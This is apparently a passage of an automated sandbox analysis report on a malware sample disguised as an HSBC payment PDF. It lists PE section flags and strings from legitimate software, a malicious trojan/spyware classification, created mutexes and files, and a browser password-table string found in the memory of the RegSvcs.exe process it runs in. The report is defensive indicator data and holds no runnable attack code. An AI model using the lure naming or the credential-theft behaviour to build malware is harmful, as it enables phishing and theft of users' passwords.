Source: PerceptionSimulationService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: private_browsing.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: updater.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7z.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zFM.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zG.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Acrobat.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcrobatInfo.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_click_helper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdate.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateCore.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateOnDemand.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: acrobat_sl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SingleClientServicesUpdater.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: wbengine.exe.2.dr	Binary string: base\stor\blb\catalog\compare.cpprowid1 != rowid2pKey->m_type == pCol->m_typepRow1 > pRow2_hImpersonationToken != INVALID_HANDLE_VALUEbase\stor\blb\blbimg\blbimg.cxxReadHandle != INVALID_HANDLE_VALUEWriteHandle != INVALID_HANDLE_VALUEpdwFlagsFveGetStatusWwszDeviceName%ws\%wsuCurrentBit < HintSpaceBitmapSizeExtentLength > 0pCurrentListEntry->Length > 0pbRecomputeNeededpBadClusExtentsBeforeRecovery\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{\System Volume Information\*{3808876B-C176-4e48-B7AE-04046E6CC752}\System Volume Information\{{3808876B-C176-4e48-B7AE-04046E6CC752}ReplicationContext->FirstBlock != NULLIoState[CurrentBuffer] == BLBIMGI_IO_STATE_WRITINGBackupFileName != NULLReplicationHandleReplicationContext != NULLoffset[i] < volumeSizet.QuadPart < restoreContext->VolumeSizereadBuffer != NULL\pagefile.sys\hiberfil.sys!IsListEmpty(&diffsInSource)
Source: wbengine.exe.2.dr	Binary string: base\stor\blb\engine\blbengutils\Blbvhdhelper.hthis->m_handle == NULL\\?\Globalroot\Device\Harddisk%lu\Partition1\\?\Globalroot\Device\Harddisk%lu\Partition2\\?\Globalroot\Device\HarddiskVolume%luChild_{47b7fa87-ce42-48ff-8b18-2f1088121503}WindowsBackupLinksbase\stor\blb\engine\blbengutils\blbvhdhelper.cppwszVhdFile && wszVhdFilepwszVolumeDevicePathwszDiskPath && wszDiskPathpwszVolumePathwszMountedDeviceName && wszMountedDeviceNamepCBlbVhdwszMountedVolumePathNoSlash && wszMountedVolumePathNoSlashpVhdContextpVhdContextForRemovalwszVolumeDevicePath && wszVolumeDevicePathppVhdContextpVhdContext->m_pCBlbVhdsdiVersion == STORAGE_DEPENDENCY_INFO_VERSION_1 \|\| sdiVersion == STORAGE_DEPENDENCY_INFO_VERSION_2ppDependencyInfopbIsVolVirtualppStorageDepInfowszTargetVolName && wszTargetVolNamewszVirtualSrcVolName && wszVirtualSrcVolNamepbIsVirtualSrcVolDependantpVolumeVHDInfo != NULLpstDepInfo != NULLpstDepInfoType2MaxAncestor != NULLpwszDiffVhdFilePath && pwszVhdTempPath%ws_%ws_%wspProgressReportCallbackContextwszVHDVolumeDevicePathpbCompactionRequiredwszVhdFilepGuidSnapshotIdwszVHDVolumeDevicePath && wszVHDVolumeDevicePathpdwVHDDeviceDiskNumberpVhdHandle
Source: wbengine.exe.2.dr	Binary string: _((HANDLE)(LONG_PTR)-1) != hFilebase\stor\blb\dsm\dsmutils\dll\fsutilswrapper.cppExtractVolumePath(ssPath, ssVolumePath)SplitDirPath( ssDirPath, ssParentDir, ssDirName )GetParentPaths(ssPath, arrstrPaths)ssDirPath.Length() != 0base\stor\blb\dsm\dsmutils\dll\fsutils.cpppstrPath != 0pstrName != 0CLOCK$COMLPTCONPRNAUXNUL\\?\GLOBALROOT\Device\base\stor\blb\dsm\dsmutils\dll\fsutils.cppInvalid path:%lsssPath.Length() > 0GetVolumePrefixLength failed for %lsFailed to parse path:%lsExtractVolumePath(ssWorkingPath, ssVolumePath)ssWorkingPath[ssWorkingPath.Length() - 1] == L'\\'(((HRESULT)(hrReason)) < 0)pstrPath && pstrPath[0]pfIsReparsedppstrReparsePtPath && (ppstrReparsePtPath == 0)GetFileAttributes() failed on:%lsIsPathMountPoint(ssPath.PeekStr(), &fMountPoint)pszVolumePath != 0phVolume != 0ssVolumePath[ssVolumePath.Length() - 1] == L'\\'Failed to open volume:%ls((HANDLE)(LONG_PTR)-1) == hVolumeppstrPath && ppstrPath == 0dwPathLength > 0 && pstrFilePath[dwPathLength-1] == L'\\'0 != pdwFileAttributesGetFileInformationByHandle(hFile, &fileInfo)0 != lpstrFilePathCreateFile unsuccessful for %wsFSWrapperGetFileAttributes(hFile, pdwFileAttributes)0 != pFileAttributesGetFileInformationByHandleEx(hFile, FileBasicInfo, &fileInfo, sizeof(FILE_BASIC_INFO))GetFileSize failed for %ws((DWORD)-1) != dwFileAttributesGetFileInformationByHandleEx failedSetFileInformationByHandle failedFSWrapperSetFileAttributes(hFile, dwFileAttributes)SplitDirPath(strPath, strParent, strChild)Path %S is invalid as it contains a '.' or '..', hr=0x%08xHRESULT_FROM_WIN32(GetLastError())wszPath && wszPath[0]pfIsPathMountPoint
Source: wbengine.exe.2.dr	Binary string: base\stor\blb\engine\blbengutils\blbvolumeutils.cpppbFloppypguidVolumeId != NULLpbIsCritical != NULLpguidVolumeIdwszMountedDeviceNamewszVolumeGuidpwszReparsePointName\\?\GLOBALROOT\DEVICE\HARDDISKVOLUME%dWsbMountedVolumeFile%lu_%spVolumeCatrgVolumeLocalwszVolumeGuidPathpwszVolumeGlobalRootPathVolume%ws\\?\GLOBALROOT%wspdwlJournalIdplastUsnwszVolumeName && *wszVolumeNamepbPerformResizepdwlUsnSizevssSnapshotId != GUID_NULLdwlJournalId != BLB_INVALID_USN_JOURNAL_IDusnBeforeSnapShot != BLB_INVALID_USN_IDwszBackupSetDirectorypwszVhdPathwszVolumeName != NULLpbIsVolumeOnSharedDisk != NULLpbIsCSVpdwVolumeNumber6

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@20/155@22/12

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

File created: C:\Users\user\AppData\Roaming\aed9f0dd1e9bf5c4.bin

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-aed9f0dd1e9bf5c4-inf
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-aed9f0dd1e9bf5c473779169-b
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-aed9f0dd1e9bf5c49ea72c54-b

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

File created: C:\Users\user\AppData\Local\Temp\autC5C5.tmp

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RegSvcs.exe, 00000011.00000002.3391146987.000000000434D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.0000000003415000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.0000000003406000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.0000000003438000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.0000000003444000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.0000000003424000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

